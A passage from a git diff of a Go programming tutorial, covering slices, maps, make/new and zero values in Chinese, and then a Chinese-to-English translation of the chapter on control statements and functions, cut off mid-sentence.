+在很多应用场景中,数组并不能满足我们的需求。在初始定义数组时,我们并不知道需要多大的数组,因此我们就需要“动态数组”。在Go里面这种数据结构叫`slice` + +`slice`并不是真正意义上的动态数组,而是一个引用类型。`slice`总是指向一个底层`array`,`slice`的声明也可以像`array`一样,只是不需要长度。 + + // 和声明array一样,只是少了长度 + var fslice []int + +接下来我们可以声明一个`slice`,并初始化数据,如下所示: + + slice := []byte {'a', 'b', 'c', 'd'} + +`slice`可以从一个数组或一个已经存在的`slice`中再次声明。`slice`通过`array[i:j]`来获取,其中`i`是数组的开始位置,`j`是结束位置,但不包含`array[j]`,它的长度是`j-i`。 + + // 声明一个含有10个元素元素类型为byte的数组 + var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + + // 声明两个含有byte的slice + var a, b []byte + + // a指向数组的第3个元素开始,并到第五个元素结束, + a = ar[2:5] + //现在a含有的元素: ar[2]、ar[3]和ar[4] + + // b是数组ar的另一个slice + b = ar[3:5] + // b的元素是:ar[3]和ar[4] + +>注意`slice`和数组在声明时的区别:声明数组时,方括号内写明了数组的长度或使用`...`自动计算长度,而声明`slice`时,方括号内没有任何字符。 + +它们的数据结构如下所示 + +![](images/2.2.slice.png?raw=true) + +图2.3 slice和array的对应关系图 + +slice有一些简便的操作 + + - `slice`的默认开始位置是0,`ar[:n]`等价于`ar[0:n]` + - `slice`的第二个序列默认是数组的长度,`ar[n:]`等价于`ar[n:len(ar)]` + - 如果从一个数组里面直接获取`slice`,可以这样`ar[:]`,因为默认第一个序列是0,第二个是数组的长度,即等价于`ar[0:len(ar)]` + +下面这个例子展示了更多关于`slice`的操作: + + // 声明一个数组 + var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + // 声明两个slice + var aSlice, bSlice []byte + + // 演示一些简便操作 + aSlice = array[:3] // 等价于aSlice = array[0:3] aSlice包含元素: a,b,c + aSlice = array[5:] // 等价于aSlice = array[5:10] aSlice包含元素: f,g,h,i,j + aSlice = array[:] // 等价于aSlice = array[0:10] 这样aSlice包含了全部的元素 + + // 从slice中获取slice + aSlice = array[3:7] // aSlice包含元素: d,e,f,g,len=4,cap=7 + bSlice = aSlice[1:3] // bSlice 包含aSlice[1], aSlice[2] 也就是含有: e,f + bSlice = aSlice[:3] // bSlice 包含 aSlice[0], aSlice[1], aSlice[2] 也就是含有: d,e,f + bSlice = aSlice[0:5] // 对slice的slice可以在cap范围内扩展,此时bSlice包含:d,e,f,g,h + bSlice = aSlice[:] // bSlice包含所有aSlice的元素: d,e,f,g + +`slice`是引用类型,所以当引用改变其中元素的值时,其它的所有引用都会改变该值,例如上面的`aSlice`和`bSlice`,如果修改了`aSlice`中元素的值,那么`bSlice`相对应的值也会改变。 + +从概念上面来说`slice`像一个结构体,这个结构体包含了三个元素: +- 一个指针,指向数组中`slice`指定的开始位置 +- 长度,即`slice`的长度 +- 最大长度,也就是`slice`开始位置到数组的最后位置的长度 + + Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + Slice_a := Array_a[2:5] + +上面代码的真正存储结构如下图所示 + +![](images/2.2.slice2.png?raw=true) + +图2.4 slice对应数组的信息 + +对于`slice`有几个有用的内置函数: + +- `len` 获取`slice`的长度 +- `cap` 获取`slice`的最大容量 +- `append` 向`slice`里面追加一个或者多个元素,然后返回一个和`slice`一样类型的`slice` +- `copy` 函数`copy`从源`slice`的`src`中复制元素到目标`dst`,并且返回复制的元素的个数 + +注:`append`函数会改变`slice`所引用的数组的内容,从而影响到引用同一数组的其它`slice`。 +但当`slice`中没有剩余空间(即`(cap-len) == 0`)时,此时将动态分配新的数组空间。返回的`slice`数组指针将指向这个空间,而原数组的内容将保持不变;其它引用此数组的`slice`则不受影响。 + +从Go1.2开始slice支持了三个参数的slice,之前我们一直采用这种方式在slice或者array基础上来获取一个slice + + var array [10]int + slice := array[2:4] + +这个例子里面slice的容量是8,新版本里面可以指定这个容量 + + slice = array[2:4:7] + +上面这个的容量就是`7-2`,即5。这样这个产生的新的slice就没办法访问最后的三个元素。 + +如果slice是这样的形式`array[:i:j]`,即第一个参数为空,默认值就是0。 + +### map + +`map`也就是Python中字典的概念,它的格式为`map[keyType]valueType` + +我们看下面的代码,`map`的读取和设置也类似`slice`一样,通过`key`来操作,只是`slice`的`index`只能是`int`类型,而`map`多了很多类型,可以是`int`,可以是`string`及所有完全定义了`==`与`!=`操作的类型。 + + // 声明一个key是字符串,值为int的字典,这种方式的声明需要在使用之前使用make初始化 + var numbers map[string]int + // 另一种map的声明方式 + numbers := make(map[string]int) + numbers["one"] = 1 //赋值 + numbers["ten"] = 10 //赋值 + numbers["three"] = 3 + + fmt.Println("第三个数字是: ", numbers["three"]) // 读取数据 + // 打印出来如:第三个数字是: 3 + +这个`map`就像我们平常看到的表格一样,左边列是`key`,右边列是值 + +使用map过程中需要注意的几点: +- `map`是无序的,每次打印出来的`map`都会不一样,它不能通过`index`获取,而必须通过`key`获取 +- `map`的长度是不固定的,也就是和`slice`一样,也是一种引用类型 +- 内置的`len`函数同样适用于`map`,返回`map`拥有的`key`的数量 +- `map`的值可以很方便的修改,通过`numbers["one"]=11`可以很容易的把key为`one`的字典值改为`11` +- `map`和其他基本型别不同,它不是thread-safe,在多个go-routine存取时,必须使用mutex lock机制 + +`map`的初始化可以通过`key:val`的方式初始化值,同时`map`内置有判断是否存在`key`的方式 + +通过`delete`删除`map`的元素: + + // 初始化一个字典 + rating := map[string]float32{"C":5, "Go":4.5, "Python":4.5, "C++":2 } + // map有两个返回值,第二个返回值,如果不存在key,那么ok为false,如果存在ok为true + csharpRating, ok := rating["C#"] + if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) + } else { + fmt.Println("We have no rating associated with C# in the map") + } + + delete(rating, "C") // 删除key为C的元素 + + +上面说过了,`map`也是一种引用类型,如果两个`map`同时指向一个底层,那么一个改变,另一个也相应的改变: + + m := make(map[string]string) + m["Hello"] = "Bonjour" + m1 := m + m1["Hello"] = "Salut" // 现在m["hello"]的值已经是Salut了 + + +### make、new操作 + +`make`用于内建类型(`map`、`slice` 和`channel`)的内存分配。`new`用于各种类型的内存分配。 + +内建函数`new`本质上说跟其它语言中的同名函数功能一样:`new(T)`分配了零值填充的`T`类型的内存空间,并且返回其地址,即一个`*T`类型的值。用Go的术语说,它返回了一个指针,指向新分配的类型`T`的零值。有一点非常重要: + +>`new`返回指针。 + +内建函数`make(T, args)`与`new(T)`有着不同的功能,make只能创建`slice`、`map`和`channel`,并且返回一个有初始值(非零)的`T`类型,而不是`*T`。本质来讲,导致这三个类型有所不同的原因是指向数据结构的引用在使用前必须被初始化。例如,一个`slice`,是一个包含指向数据(内部`array`)的指针、长度和容量的三项描述符;在这些项目被初始化之前,`slice`为`nil`。对于`slice`、`map`和`channel`来说,`make`初始化了内部的数据结构,填充适当的值。 + +>`make`返回初始化后的(非零)值。 + +下面这个图详细的解释了`new`和`make`之间的区别。 + +![](images/2.2.makenew.png?raw=true) + +图2.5 make和new对应底层的内存分配 + + +## 零值 +关于“零值”,所指并非是空值,而是一种“变量未填充前”的默认值,通常为0。 +此处罗列 部分类型 的 “零值” + + int 0 + int8 0 + int32 0 + int64 0 + uint 0x0 + rune 0 //rune的实际类型是 int32 + byte 0x0 // byte的实际类型是 uint8 + float32 0 //长度为 4 byte + float64 0 //长度为 8 byte + bool false + string "" + +## links + * [目录]() + * 上一章: [你好,Go](<02.1.md>) + * 下一节: [流程和函数](<02.3.md>) diff --git a/en/02.3.md b/en/02.3.md index cae23309..585e4c76 100644 --- a/en/02.3.md +++ b/en/02.3.md @@ -1,520 +1,516 @@ -# 2.3 流程和函数 -这小节我们要介绍Go里面的流程控制以及函数操作。 -## 流程控制 -流程控制在编程语言中是最伟大的发明了,因为有了它,你可以通过很简单的流程描述来表达很复杂的逻辑。Go中流程控制分三大类:条件判断,循环控制和无条件跳转。 -### if -`if`也许是各种编程语言中最常见的了,它的语法概括起来就是:如果满足条件就做某事,否则做另一件事。 - -Go里面`if`条件判断语句中不需要括号,如下代码所示 - - if x > 10 { - fmt.Println("x is greater than 10") - } else { - fmt.Println("x is less than 10") - } - -Go的`if`还有一个强大的地方就是条件判断语句里面允许声明一个变量,这个变量的作用域只能在该条件逻辑块内,其他地方就不起作用了,如下所示 - - // 计算获取值x,然后根据x返回的大小,判断是否大于10。 - if x := computedValue(); x > 10 { - fmt.Println("x is greater than 10") - } else { - fmt.Println("x is less than 10") - } - - //这个地方如果这样调用就编译出错了,因为x是条件里面的变量 - fmt.Println(x) - -多个条件的时候如下所示: - - if integer == 3 { - fmt.Println("The integer is equal to 3") - } else if integer < 3 { - fmt.Println("The integer is less than 3") - } else { - fmt.Println("The integer is greater than 3") - } - -### goto - -Go有`goto`语句——请明智地使用它。用`goto`跳转到必须在当前函数内定义的标签。例如假设这样一个循环: - - func myFunc() { - i := 0 - Here: //这行的第一个词,以冒号结束作为标签 - println(i) - i++ - goto Here //跳转到Here去 - } - ->标签名是大小写敏感的。 - -### for -Go里面最强大的一个控制逻辑就是`for`,它即可以用来循环读取数据,又可以当作`while`来控制逻辑,还能迭代操作。它的语法如下: - - for expression1; expression2; expression3 { - //... - } - -`expression1`、`expression2`和`expression3`都是表达式,其中`expression1`和`expression3`是变量声明或者函数调用返回值之类的,`expression2`是用来条件判断,`expression1`在循环开始之前调用,`expression3`在每轮循环结束之时调用。 - -一个例子比上面讲那么多更有用,那么我们看看下面的例子吧: - - package main - import "fmt" - - func main(){ - sum := 0; - for index:=0; index < 10 ; index++ { - sum += index - } - fmt.Println("sum is equal to ", sum) - } - // 输出:sum is equal to 45 - -有些时候需要进行多个赋值操作,由于Go里面没有`,`操作符,那么可以使用平行赋值`i, j = i+1, j-1` - - -有些时候如果我们忽略`expression1`和`expression3`: - - sum := 1 - for ; sum < 1000; { - sum += sum - } - -其中`;`也可以省略,那么就变成如下的代码了,是不是似曾相识?对,这就是`while`的功能。 - - sum := 1 - for sum < 1000 { - sum += sum - } - -在循环里面有两个关键操作`break`和`continue` ,`break`操作是跳出当前循环,`continue`是跳过本次循环。当嵌套过深的时候,`break`可以配合标签使用,即跳转至标签所指定的位置,详细参考如下例子: - - for index := 10; index>0; index-- { - if index == 5{ - break // 或者continue - } - fmt.Println(index) - } - // break打印出来10、9、8、7、6 - // continue打印出来10、9、8、7、6、4、3、2、1 - -`break`和`continue`还可以跟着标号,用来跳到多重循环中的外层循环 - -`for`配合`range`可以用于读取`slice`和`map`的数据: - - for k,v:=range map { - fmt.Println("map's key:",k) - fmt.Println("map's val:",v) - } - -由于 Go 支持 “多值返回”, 而对于“声明而未被调用”的变量, 编译器会报错, 在这种情况下, 可以使用`_`来丢弃不需要的返回值 -例如 - - for _, v := range map{ - fmt.Println("map's val:", v) - } - - -### switch -有些时候你需要写很多的`if-else`来实现一些逻辑处理,这个时候代码看上去就很丑很冗长,而且也不易于以后的维护,这个时候`switch`就能很好的解决这个问题。它的语法如下 - - switch sExpr { - case expr1: - some instructions - case expr2: - some other instructions - case expr3: - some other instructions - default: - other code - } - -`sExpr`和`expr1`、`expr2`、`expr3`的类型必须一致。Go的`switch`非常灵活,表达式不必是常量或整数,执行的过程从上至下,直到找到匹配项;而如果`switch`没有表达式,它会匹配`true`。 - - i := 10 - switch i { - case 1: - fmt.Println("i is equal to 1") - case 2, 3, 4: - fmt.Println("i is equal to 2, 3 or 4") - case 10: - fmt.Println("i is equal to 10") - default: - fmt.Println("All I know is that i is an integer") - } - -在第5行中,我们把很多值聚合在了一个`case`里面,同时,Go里面`switch`默认相当于每个`case`最后带有`break`,匹配成功后不会自动向下执行其他case,而是跳出整个`switch`, 但是可以使用`fallthrough`强制执行后面的case代码。 - - integer := 6 - switch integer { - case 4: - fmt.Println("The integer was <= 4") - fallthrough - case 5: - fmt.Println("The integer was <= 5") - fallthrough - case 6: - fmt.Println("The integer was <= 6") - fallthrough - case 7: - fmt.Println("The integer was <= 7") - fallthrough - case 8: - fmt.Println("The integer was <= 8") - fallthrough - default: - fmt.Println("default case") - } - -上面的程序将输出 - - The integer was <= 6 - The integer was <= 7 - The integer was <= 8 - default case - - -## 函数 -函数是Go里面的核心设计,它通过关键字`func`来声明,它的格式如下: - - func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { - //这里是处理逻辑代码 - //返回多个值 - return value1, value2 - } - -上面的代码我们看出 - -- 关键字`func`用来声明一个函数`funcName` -- 函数可以有一个或者多个参数,每个参数后面带有类型,通过`,`分隔 -- 函数可以返回多个值 -- 上面返回值声明了两个变量`output1`和`output2`,如果你不想声明也可以,直接就两个类型 -- 如果只有一个返回值且不声明返回值变量,那么你可以省略 包括返回值 的括号 -- 如果没有返回值,那么就直接省略最后的返回信息 -- 如果有返回值, 那么必须在函数的外层添加return语句 - -下面我们来看一个实际应用函数的例子(用来计算Max值) - - package main - import "fmt" - - // 返回a、b中最大值. - func max(a, b int) int { - if a > b { - return a - } - return b - } - - func main() { - x := 3 - y := 4 - z := 5 - - max_xy := max(x, y) //调用函数max(x, y) - max_xz := max(x, z) //调用函数max(x, z) - - fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) - fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) - fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // 也可在这直接调用它 - } - -上面这个里面我们可以看到`max`函数有两个参数,它们的类型都是`int`,那么第一个变量的类型可以省略(即 a,b int,而非 a int, b int),默认为离它最近的类型,同理多于2个同类型的变量或者返回值。同时我们注意到它的返回值就是一个类型,这个就是省略写法。 - -### 多个返回值 -Go语言比C更先进的特性,其中一点就是函数能够返回多个值。 - -我们直接上代码看例子 - - package main - import "fmt" - - //返回 A+B 和 A*B - func SumAndProduct(A, B int) (int, int) { - return A+B, A*B - } - - func main() { - x := 3 - y := 4 - - xPLUSy, xTIMESy := SumAndProduct(x, y) - - fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) - fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) - } - -上面的例子我们可以看到直接返回了两个参数,当然我们也可以命名返回参数的变量,这个例子里面只是用了两个类型,我们也可以改成如下这样的定义,然后返回的时候不用带上变量名,因为直接在函数里面初始化了。但如果你的函数是导出的(首字母大写),官方建议:最好命名返回值,因为不命名返回值,虽然使得代码更加简洁了,但是会造成生成的文档可读性差。 - - func SumAndProduct(A, B int) (add int, Multiplied int) { - add = A+B - Multiplied = A*B - return - } - -### 变参 -Go函数支持变参。接受变参的函数是有着不定数量的参数的。为了做到这点,首先需要定义函数使其接受变参: - - func myfunc(arg ...int) {} -`arg ...int`告诉Go这个函数接受不定数量的参数。注意,这些参数的类型全部是`int`。在函数体中,变量`arg`是一个`int`的`slice`: - - for _, n := range arg { - fmt.Printf("And the number is: %d\n", n) - } - -### 传值与传指针 -当我们传一个参数值到被调用函数里面时,实际上是传了这个值的一份copy,当在被调用函数中修改参数值的时候,调用函数中相应实参不会发生任何变化,因为数值变化只作用在copy上。 - -为了验证我们上面的说法,我们来看一个例子 - - package main - import "fmt" - - //简单的一个函数,实现了参数+1的操作 - func add1(a int) int { - a = a+1 // 我们改变了a的值 - return a //返回一个新值 - } - - func main() { - x := 3 - - fmt.Println("x = ", x) // 应该输出 "x = 3" - - x1 := add1(x) //调用add1(x) - - fmt.Println("x+1 = ", x1) // 应该输出"x+1 = 4" - fmt.Println("x = ", x) // 应该输出"x = 3" - } - -看到了吗?虽然我们调用了`add1`函数,并且在`add1`中执行`a = a+1`操作,但是上面例子中`x`变量的值没有发生变化 - -理由很简单:因为当我们调用`add1`的时候,`add1`接收的参数其实是`x`的copy,而不是`x`本身。 - -那你也许会问了,如果真的需要传这个`x`本身,该怎么办呢? - -这就牵扯到了所谓的指针。我们知道,变量在内存中是存放于一定地址上的,修改变量实际是修改变量地址处的内存。只有`add1`函数知道`x`变量所在的地址,才能修改`x`变量的值。所以我们需要将`x`所在地址`&x`传入函数,并将函数的参数的类型由`int`改为`*int`,即改为指针类型,才能在函数中修改`x`变量的值。此时参数仍然是按copy传递的,只是copy的是一个指针。请看下面的例子 - - package main - import "fmt" - - //简单的一个函数,实现了参数+1的操作 - func add1(a *int) int { // 请注意, - *a = *a+1 // 修改了a的值 - return *a // 返回新值 - } - - func main() { - x := 3 - - fmt.Println("x = ", x) // 应该输出 "x = 3" - - x1 := add1(&x) // 调用 add1(&x) 传x的地址 - - fmt.Println("x+1 = ", x1) // 应该输出 "x+1 = 4" - fmt.Println("x = ", x) // 应该输出 "x = 4" - } - -这样,我们就达到了修改`x`的目的。那么到底传指针有什么好处呢? - -- 传指针使得多个函数能操作同一个对象。 -- 传指针比较轻量级 (8bytes),只是传内存地址,我们可以用指针传递体积大的结构体。如果用参数值传递的话, 在每次copy上面就会花费相对较多的系统开销(内存和时间)。所以当你要传递大的结构体的时候,用指针是一个明智的选择。 -- Go语言中`channel`,`slice`,`map`这三种类型的实现机制类似指针,所以可以直接传递,而不用取地址后传递指针。(注:若函数需改变`slice`的长度,则仍需要取地址传递指针) - -### defer -Go语言中有种不错的设计,即延迟(defer)语句,你可以在函数中添加多个defer语句。当函数执行到最后时,这些defer语句会按照逆序执行,最后该函数返回。特别是当你在进行一些打开资源的操作时,遇到错误需要提前返回,在返回前你需要关闭相应的资源,不然很容易造成资源泄露等问题。如下代码所示,我们一般写打开一个资源是这样操作的: - - func ReadWrite() bool { - file.Open("file") - // 做一些工作 - if failureX { - file.Close() - return false - } - - if failureY { - file.Close() - return false - } - - file.Close() - return true - } - -我们看到上面有很多重复的代码,Go的`defer`有效解决了这个问题。使用它后,不但代码量减少了很多,而且程序变得更优雅。在`defer`后指定的函数会在函数退出前调用。 - - func ReadWrite() bool { - file.Open("file") - defer file.Close() - if failureX { - return false - } - if failureY { - return false - } - return true - } - -如果有很多调用`defer`,那么`defer`是采用后进先出模式,所以如下代码会输出`4 3 2 1 0` - - for i := 0; i < 5; i++ { - defer fmt.Printf("%d ", i) - } - -### 函数作为值、类型 - -在Go中函数也是一种变量,我们可以通过`type`来定义它,它的类型就是所有拥有相同的参数,相同的返回值的一种类型 - - type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) - -函数作为类型到底有什么好处呢?那就是可以把这个类型的函数当做值来传递,请看下面的例子 - - package main - import "fmt" - - type testInt func(int) bool // 声明了一个函数类型 - - func isOdd(integer int) bool { - if integer%2 == 0 { - return false - } - return true - } - - func isEven(integer int) bool { - if integer%2 == 0 { - return true - } - return false - } - - // 声明的函数类型在这个地方当做了一个参数 - - func filter(slice []int, f testInt) []int { - var result []int - for _, value := range slice { - if f(value) { - result = append(result, value) - } - } - return result - } - - func main(){ - slice := []int {1, 2, 3, 4, 5, 7} - fmt.Println("slice = ", slice) - odd := filter(slice, isOdd) // 函数当做值来传递了 - fmt.Println("Odd elements of slice are: ", odd) - even := filter(slice, isEven) // 函数当做值来传递了 - fmt.Println("Even elements of slice are: ", even) - } - -函数当做值和类型在我们写一些通用接口的时候非常有用,通过上面例子我们看到`testInt`这个类型是一个函数类型,然后两个`filter`函数的参数和返回值与`testInt`类型是一样的,但是我们可以实现很多种的逻辑,这样使得我们的程序变得非常的灵活。 - -### Panic和Recover - -Go没有像Java那样的异常机制,它不能抛出异常,而是使用了`panic`和`recover`机制。一定要记住,你应当把它作为最后的手段来使用,也就是说,你的代码中应当没有,或者很少有`panic`的东西。这是个强大的工具,请明智地使用它。那么,我们应该如何使用它呢? - -Panic ->是一个内建函数,可以中断原有的控制流程,进入一个令人恐慌的流程中。当函数`F`调用`panic`,函数F的执行被中断,但是`F`中的延迟函数会正常执行,然后F返回到调用它的地方。在调用的地方,`F`的行为就像调用了`panic`。这一过程继续向上,直到发生`panic`的`goroutine`中所有调用的函数返回,此时程序退出。恐慌可以直接调用`panic`产生。也可以由运行时错误产生,例如访问越界的数组。 - -Recover ->是一个内建的函数,可以让进入令人恐慌的流程中的`goroutine`恢复过来。`recover`仅在延迟函数中有效。在正常的执行过程中,调用`recover`会返回`nil`,并且没有其它任何效果。如果当前的`goroutine`陷入恐慌,调用`recover`可以捕获到`panic`的输入值,并且恢复正常的执行。 - -下面这个函数演示了如何在过程中使用`panic` - - var user = os.Getenv("USER") - - func init() { - if user == "" { - panic("no value for $USER") - } - } - -下面这个函数检查作为其参数的函数在执行时是否会产生`panic`: - - func throwsPanic(f func()) (b bool) { - defer func() { - if x := recover(); x != nil { - b = true - } - }() - f() //执行函数f,如果f中出现了panic,那么就可以恢复回来 - return - } - -### `main`函数和`init`函数 - -Go里面有两个保留的函数:`init`函数(能够应用于所有的`package`)和`main`函数(只能应用于`package main`)。这两个函数在定义时不能有任何的参数和返回值。虽然一个`package`里面可以写任意多个`init`函数,但这无论是对于可读性还是以后的可维护性来说,我们都强烈建议用户在一个`package`中每个文件只写一个`init`函数。 - -Go程序会自动调用`init()`和`main()`,所以你不需要在任何地方调用这两个函数。每个`package`中的`init`函数都是可选的,但`package main`就必须包含一个`main`函数。 - -程序的初始化和执行都起始于`main`包。如果`main`包还导入了其它的包,那么就会在编译时将它们依次导入。有时一个包会被多个包同时导入,那么它只会被导入一次(例如很多包可能都会用到`fmt`包,但它只会被导入一次,因为没有必要导入多次)。当一个包被导入时,如果该包还导入了其它的包,那么会先将其它包导入进来,然后再对这些包中的包级常量和变量进行初始化,接着执行`init`函数(如果有的话),依次类推。等所有被导入的包都加载完毕了,就会开始对`main`包中的包级常量和变量进行初始化,然后执行`main`包中的`init`函数(如果存在的话),最后执行`main`函数。下图详细地解释了整个执行过程: - -![](images/2.3.init.png?raw=true) - -图2.6 main函数引入包初始化流程图 - -### import -我们在写Go代码的时候经常用到import这个命令用来导入包文件,而我们经常看到的方式参考如下: - - import( - "fmt" - ) - -然后我们代码里面可以通过如下的方式调用 - - fmt.Println("hello world") - -上面这个fmt是Go语言的标准库,其实是去`GOROOT`环境变量指定目录下去加载该模块,当然Go的import还支持如下两种方式来加载自己写的模块: - -1. 相对路径 - - import “./model” //当前文件同一目录的model目录,但是不建议这种方式来import - -2. 绝对路径 - - import “shorturl/model” //加载gopath/src/shorturl/model模块 - - -上面展示了一些import常用的几种方式,但是还有一些特殊的import,让很多新手很费解,下面我们来一一讲解一下到底是怎么一回事 - - -1. 点操作 - - 我们有时候会看到如下的方式导入包 - - import( - . "fmt" - ) - - 这个点操作的含义就是这个包导入之后在你调用这个包的函数时,你可以省略前缀的包名,也就是前面你调用的fmt.Println("hello world")可以省略的写成Println("hello world") - -2. 别名操作 - - 别名操作顾名思义我们可以把包命名成另一个我们用起来容易记忆的名字 - - import( - f "fmt" - ) - - 别名操作的话调用包函数时前缀变成了我们的前缀,即f.Println("hello world") - -3. _操作 - - 这个操作经常是让很多人费解的一个操作符,请看下面这个import - - import ( - "database/sql" - _ "github.com/ziutek/mymysql/godrv" - ) - - _操作其实是引入该包,而不直接使用包里面的函数,而是调用了该包里面的init函数。 - - -## links - * [目录]() - * 上一章: [Go基础](<02.2.md>) - * 下一节: [struct类型](<02.4.md>) +# 2.3 Control statements and functions + +In this section, we are going to talk about control statements and function operations in Go. + +## Control statement + +The greatest invention in programming is flow control. Because of them, you are able to use simple control statements that can be used to represent complex logic. There are three categories of flow control: conditional, cycle control and unconditional jump. + +### if + +`if` will most likely be the most common keyword in your programs. If it meets the conditions, then it does something and it does something else if not. + +`if` doesn't need parentheses in Go. + + if x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + +The most useful thing concerning `if` in Go is that it can have one initialization statement before the conditional statement. The scope of the variables defined in this initialization statement are only available inside the block of the defining `if`. + + // initialize x, then check if x greater than + if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + // the following code will not compile + fmt.Println(x) + +Use if-else for multiple conditions. + + if integer == 3 { + fmt.Println("The integer is equal to 3") + } else if integer < 3 { + fmt.Println("The integer is less than 3") + } else { + fmt.Println("The integer is greater than 3") + } + +### goto + +Go has a `goto` keyword, but be careful when you use it. `goto` reroutes the control flow to a previously defined `label` within the body of same code block. + + func myFunc() { + i := 0 + Here: // label ends with ":" + fmt.Println(i) + i++ + goto Here // jump to label "Here" + } + +The label name is case sensitive. + +### for + +`for` is the most powerful control logic in Go. It can read data in loops and iterative operations, just like `while`. + + for expression1; expression2; expression3 { + //... + } + +`expression1`, `expression2` and `expression3` are all expressions, where `expression1` and `expression3` are variable definitions or return values from functions, and `expression2` is a conditional statement. `expression1` will be executed before every loop, and `expression3` will be executed after. + +Examples are more useful than words. + + package main + import "fmt" + + func main(){ + sum := 0; + for index:=0; index < 10 ; index++ { + sum += index + } + fmt.Println("sum is equal to ", sum) + } + // Print:sum is equal to 45 + +Sometimes we need multiple assignments, but Go doesn't have the `,` operator, so we use parallel assignment like `i, j = i + 1, j - 1`. + +We can omit `expression1` and `expression3` if they are not necessary. + + sum := 1 + for ; sum < 1000; { + sum += sum + } + +Omit `;` as well. Feel familiar? Yes, it's identical to `while`. + + sum := 1 + for sum < 1000 { + sum += sum + } + +There are two important operations in loops which are `break` and `continue`. `break` jumps out of the loop, and `continue` skips the current loop and starts the next one. If you have nested loops, use `break` along with labels. + + for index := 10; index>0; index-- { + if index == 5{ + break // or continue + } + fmt.Println(index) + } + // break prints 10、9、8、7、6 + // continue prints 10、9、8、7、6、4、3、2、1 + +`for` can read data from `slice` and `map` when it is used together with `range`. + + for k,v:=range map { + fmt.Println("map's key:",k) + fmt.Println("map's val:",v) + } + +Because Go supports multi-value returns and gives compile errors when you don't use values that were defined, you may want to use `_` to discard certain return values. + + for _, v := range map{ + fmt.Println("map's val:", v) + } + +### switch + +Sometimes you may find that you are using too many `if-else` statements to implement some logic, which may make it difficult to read and maitain in the future. This is the perfect time to use the `switch` statement to solve this problem. + + switch sExpr { + case expr1: + some instructions + case expr2: + some other instructions + case expr3: + some other instructions + default: + other code + } + +The type of `sExpr`, `expr1`, `expr2`, and `expr3` must be the same. `switch` is very flexible. Conditions don't have to be constants and it executes from top to bottom until it matches conditions. If there is no statement after the keyword `switch`, then it matches `true`. + + i := 10 + switch i { + case 1: + fmt.Println("i is equal to 1") + case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") + case 10: + fmt.Println("i is equal to 10") + default: + fmt.Println("All I know is that i is an integer") + } + +In the fifth line, we put many values in one `case`, and we don't need to add the `break` keyword at the end of `case`'s body. It will jump out of the switch body once it matched any case. If you want to continue to matching more cases, you need to use the`fallthrough` statement. + + integer := 6 + switch integer { + case 4: + fmt.Println("integer <= 4") + fallthrough + case 5: + fmt.Println("integer <= 5") + fallthrough + case 6: + fmt.Println("integer <= 6") + fallthrough + case 7: + fmt.Println("integer <= 7") + fallthrough + case 8: + fmt.Println("integer <= 8") + fallthrough + default: + fmt.Println("default case") + } + +This program prints the following information. + + integer <= 6 + integer <= 7 + integer <= 8 + default case + +## Functions + +Use the `func` keyword to define a function. + + func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { + // function body + // multi-value return + return value1, value2 + } + +We can extrapolate the following information from the example above. + +- Use keyword `func` to define a function `funcName`. +- Functions have zero, one or more than one arguments. The argument type comes after the argument name and arguments are separated by `,`. +- Functions can return multiple values. +- There are two return values named `output1` and `output2`, you can omit their names and use their type only. +- If there is only one return value and you omitted the name, you don't need brackets for the return values. +- If the function doesn't have return values, you can omit the return parameters altogether. +- If the function has return values, you have to use the `return` statement somewhere in the body of the function. + +Let's see one practical example. (calculate maximum value) + + package main + import "fmt" + + // return greater value between a and b + func max(a, b int) int { + if a > b { + return a + } + return b + } + + func main() { + x := 3 + y := 4 + z := 5 + + max_xy := max(x, y) // call function max(x, y) + max_xz := max(x, z) // call function max(x, z) + + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // call function here + } + +In the above example, there are two arguments in the function `max`, their types are both `int` so the first type can be omitted. For instance, `a, b int` instead of `a int, b int`. The same rules apply for additional arguments. Notice here that `max` only has one return value, so we only need to write the type of its return value -this is the short form of writing it. + +### Multi-value return + +One thing that Go is better at than C is that it supports multi-value returns. + +We'll use the following example here. + + package main + import "fmt" + + // return results of A + B and A * B + func SumAndProduct(A, B int) (int, int) { + return A+B, A*B + } + + func main() { + x := 3 + y := 4 + + xPLUSy, xTIMESy := SumAndProduct(x, y) + + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) + } + +The above example returns two values without names -you have the option of naming them also. If we named the return values, we would just need to use `return` to return the values since they are initialized in the function automatically. Notice that if your functions are going to be used outside of the package, which means your function names start with a capital letter, you'd better write complete statements for `return`; it makes your code more readable. + + func SumAndProduct(A, B int) (add int, Multiplied int) { + add = A+B + Multiplied = A*B + return + } + +### Variable arguments + +Go supports variable arguments, which means you can give an uncertain numbers of argument to functions. + + func myfunc(arg ...int) {} + +`arg …int` tells Go that this is a function that has variable arguments. Notice that these arguments are type `int`. In the body of function, the `arg` becomes a `slice` of `int`. + + for _, n := range arg { + fmt.Printf("And the number is: %d\n", n) + } + +### Pass by value and pointers + +When we pass an argument to the function that was called, that function actually gets the copy of our variables so any change will not affect to the original variable. + +Let's see one example in order to prove what i'm saying. + + package main + import "fmt" + + // simple function to add 1 to a + func add1(a int) int { + a = a+1 // we change value of a + return a // return new value of a + } + + func main() { + x := 3 + + fmt.Println("x = ", x) // should print "x = 3" + + x1 := add1(x) // call add1(x) + + fmt.Println("x+1 = ", x1) // should print "x+1 = 4" + fmt.Println("x = ", x) // should print "x = 3" + } + +Did you see that? Even though we called `add1`, and 